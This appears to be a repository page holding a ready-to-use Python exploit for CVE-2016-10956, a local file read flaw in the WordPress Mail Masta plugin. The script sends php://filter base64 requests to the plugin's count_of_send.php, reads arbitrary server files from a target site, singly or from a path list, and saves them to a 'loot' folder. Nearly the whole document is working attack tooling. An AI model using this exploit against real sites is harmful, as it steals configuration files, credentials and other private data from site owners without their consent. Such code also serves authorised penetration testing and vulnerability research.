README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : CVE-2016-10956_mail_masta.py
# Author : Podalirius (@podalirius_)
# Date created : 29 Oct 2021
import argparse
import requests
import base64
import os
from rich.progress import track
print("[+] Mail Masta - Local File Read (CVE-2016-10956)\n")
def parseArgs():
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose mode")
parser.add_argument("-s", "--only-success", dest="only_success", action="store_true", default=False, help="Only print successful read file attempts.")
parser.add_argument("-t", "--target", dest="target_url", action="store", type=str, required=True, help="URL of the wordpress to connect to.")
files_source = parser.add_mutually_exclusive_group()
files_source.add_argument("-f", "--file", dest="file", action="store", type=str, help="Remote file to read.")
files_source.add_argument("-F", "--filelist", dest="filelist", action="store", type=str, help="File containing a list of paths to files to read remotely.")
parser.add_argument("-D", "--dump-dir", dest="dump_dir", action="store", type=str, default="./loot/", required=False, help="Directory where the dumped files will be stored.")
parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
parser.add_argument("-r", "--raw", dest="raw", action="store_true", default=False, help="Raw dump of the file without php base64 wrapper (default: False)")
return parser.parse_args()
def dump_file(url, basepath, filepath, only_success=False, rawdump=False):
def b_filesize(file):
l = len(file)
units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
k = 0
for k in range(len(units)):
if l < (1024 ** (k + 1)):
break
return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k])
#
if rawdump == True:
link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=%s" % (url, filepath)
else:
link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/read=convert.base64-encode/resource=%s" % (url, filepath)
r = requests.get(link)
if len(r.content) != 0:
if rawdump == True:
file = r.content
else:
file = base64.b64decode(r.content)
print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(file), filepath))
dir = basepath + os.path.dirname(filepath)
if not os.path.exists(dir):
os.makedirs(dir, exist_ok=True)
f = open(basepath + filepath, "wb")
f.write(file)
f.close()
return True
else:
if only_success != True:
print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", filepath))
return False
if __name__ == '__main__':
options = parseArgs()
if not options.target_url.startswith('http://') and not options.target_url.startswith('https://'):
options.target_url = 'http://' + options.target_url
if options.insecure_tls:
# Disable warings of insecure connection for invalid cerificates
requests.packages.urllib3.disable_warnings()
# Allow use of deprecated and weak cipher methods
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
if options.filelist:
if os.path.exists(options.filelist):
f = open(options.filelist, 'r')
list_of_files = [l.strip() for l in f.readlines() if len(l.strip()) != 0]
f.close()
for file in track(list_of_files):
dump_file(options.target_url, options.dump_dir, file, only_success=options.only_success, rawdump=options.raw)
else:
print('\x1b[91m[!] Cannot read file %s\x1b[0m' % options.filelist)
elif options.file:
dump_file(options.target_url, options.dump_dir, options.file, only_success=options.only_success, rawdump=options.raw)